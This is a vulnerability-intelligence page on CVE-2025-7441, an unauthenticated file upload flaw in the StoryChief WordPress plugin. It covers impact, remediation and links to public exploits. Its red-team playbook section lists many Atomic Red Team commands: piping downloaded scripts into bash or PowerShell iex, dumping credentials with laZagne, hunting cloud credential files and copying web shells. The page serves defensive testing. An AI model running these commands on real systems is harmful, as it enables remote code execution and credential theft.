CVE-2025-7441
Overview
This vulnerability is an arbitrary file upload flaw rooted in insufficient filetype validation within the StoryChief WordPress plugin. The issue specifically affects the /wp-json/storychief/webhook REST-API endpoint, which fails to properly restrict or sanitize uploaded file types. This lack of validation allows unauthorized files to be uploaded to the web server via the plugin’s webhook handling functionality in all versions up to and including 1.0.42.
Vulnerability Description
The StoryChief plugin for WordPress is vulnerable to arbitrary file uploads in all versions up to, and including, 1.0.42. This vulnerability occurs through the /wp-json/storychief/webhook REST-API endpoint that does not have sufficient filetype validation. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.
Impact
An unauthenticated remote attacker can upload arbitrary files to the target server via the vulnerable REST endpoint, potentially enabling remote code execution or persistent server compromise. No authentication or user interaction is required (CVSS vector AV:N/AC:L/PR:N/UI:N). This can lead to full system compromise, data exfiltration, or service disruption impacting the confidentiality, integrity, and availability of the affected WordPress site and its data.
Solution
Upgrade the StoryChief WordPress plugin to a version later than 1.0.42 where the vulnerability is fixed, as documented in the WordPress plugin repository changeset 3344874. Refer to the advisory published by Wordfence (https://www.wordfence.com/threat-intel/vulnerabilities/id/979efaa4-10f1-4c7f-b4b0-5a41678c9d66) for detailed patch instructions and verification steps. No official workaround is documented; immediate plugin update is the recommended remediation.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the StoryChief plugin for WordPress stems from inadequate filetype validation within the REST-API endpoint. This weakness allows unauthenticated attackers to upload arbitrary files to the server hosting the affected site. The lack of stringent checks on the file types being uploaded means that malicious actors can exploit this flaw to upload executable scripts or other harmful files. Once these files are on the server, they can be executed, leading to potential remote code execution. This vulnerability is particularly concerning as it affects all versions of the plugin up to and including 1.0.42, leaving a significant number of installations at risk.
Attack vectors for this vulnerability are straightforward yet highly effective. An attacker can leverage the REST-API endpoint to send crafted requests that bypass the file validation checks. By uploading a malicious file, such as a PHP script, the attacker can gain control over the server. This exploitation can be executed without any form of authentication, making it accessible to anyone with knowledge of the endpoint. Once the file is uploaded, the attacker can execute it by accessing the corresponding URL, thereby compromising the integrity and confidentiality of the server. This scenario underscores the importance of securing API endpoints, especially those that allow file uploads.
The real-world impact of this vulnerability can be severe, particularly for businesses relying on the affected plugin for their content management needs. Successful exploitation can lead to unauthorized access to sensitive data, defacement of the website, or even complete server takeover. The repercussions extend beyond immediate technical damage; they can also include reputational harm, loss of customer trust, and potential legal ramifications if sensitive data is exposed. The financial implications can be significant, as businesses may face costs related to incident response, recovery, and potential regulatory fines.
To detect and mitigate this vulnerability, organizations should adopt a multi-faceted approach. Regularly updating the StoryChief plugin to the latest version is crucial, as updates often include security patches that address known vulnerabilities. Additionally, implementing a web application firewall (WAF) can help filter out malicious requests before they reach the server. Monitoring server logs for unusual activity, such as unexpected file uploads or access patterns, can also aid in early detection of exploitation attempts. Furthermore, organizations should enforce strict file upload policies, including whitelisting allowed file types and scanning uploaded files for malware.
In conclusion, the vulnerability in the StoryChief plugin represents a significant risk to WordPress users, particularly those who do not implement adequate security measures. The potential for arbitrary file uploads leading to remote code execution highlights the necessity for robust validation mechanisms in web applications. By understanding the technical details, attack vectors, and real-world implications of this vulnerability, organizations can better prepare themselves to defend against such threats. Proactive detection and mitigation strategies are essential to safeguard against exploitation and maintain the security of web applications in an increasingly hostile cyber landscape.
CSURFACE threat intelligence has identified a marked increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2025-7441, rising by over 10% to a current value placing it in the 99th percentile of exploit likelihood. This upward trend, although gradual, signals growing confidence among threat actors in the viability of exploiting the StoryChief WordPress plugin’s arbitrary file upload vulnerability. Concurrently, new proof-of-concept exploits and publicly available Metasploit modules have solidified the exploit toolkit, lowering the barrier for unauthenticated remote code execution attempts. Our telemetry indicates a subtle but consistent rise in scanning and probing activity targeting the vulnerable webhook endpoint, suggesting that adversaries are increasingly prioritizing this vector. This evolution heightens the threat landscape for organizations using affected StoryChief versions, as the combination of accessible exploit code and rising attacker interest amplifies the risk of successful compromise. Consequently, the overall risk assessment for CVE-2025-7441 escalates from high to critical, underscoring the urgency for defenders to intensify monitoring and detection efforts around this vulnerability.
Affected Products
No CPE information available.
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
Metasploit (1)
| Module | Authors | Rank | Platform | Link |
|---|---|---|---|---|
|
WordPress StoryChief Plugin Unauthenticated RCE
exploits/multi/http/wp_plugin_story_chef_file_upload
|
xpl0dec, Nayera | Unknown | php | View |
ExploitDB (1)
| Title | Author | Type | Platform | Date | Link |
|---|---|---|---|---|---|
| StoryChief Wordpress Plugin 1.0.42 - Arbitrary File Upload | xpl0dec | webapps | multiple | - | View |
GitHub PoCs (2)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
AnotherSec/CVE-2025-7441
StoryChief <= 1.0.42 - Unauthenticated Arbitrary File Upload
|
AnotherSec | 3 | 1 | 2025-10-14 | View |
|
Nxploited/CVE-2025-7441
StoryChief <= 1.0.42 - Unauthenticated Arbitrary File Upload
|
Nxploited | 0 | 0 | 2025-10-07 | View |
Threat Feed
2 eventsProof-of-concept code is publicly available for this vulnerability
Public exploit code is available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-1 | Accessing Functionality Not Properly Constrained by ACLs |
35%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2025-7441 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/979efaa4-10f1-4c7f-b4b0-5a41678c9d66?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/story-chief/trunk/includes/tools.php#L75 |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/changeset/3344874/ |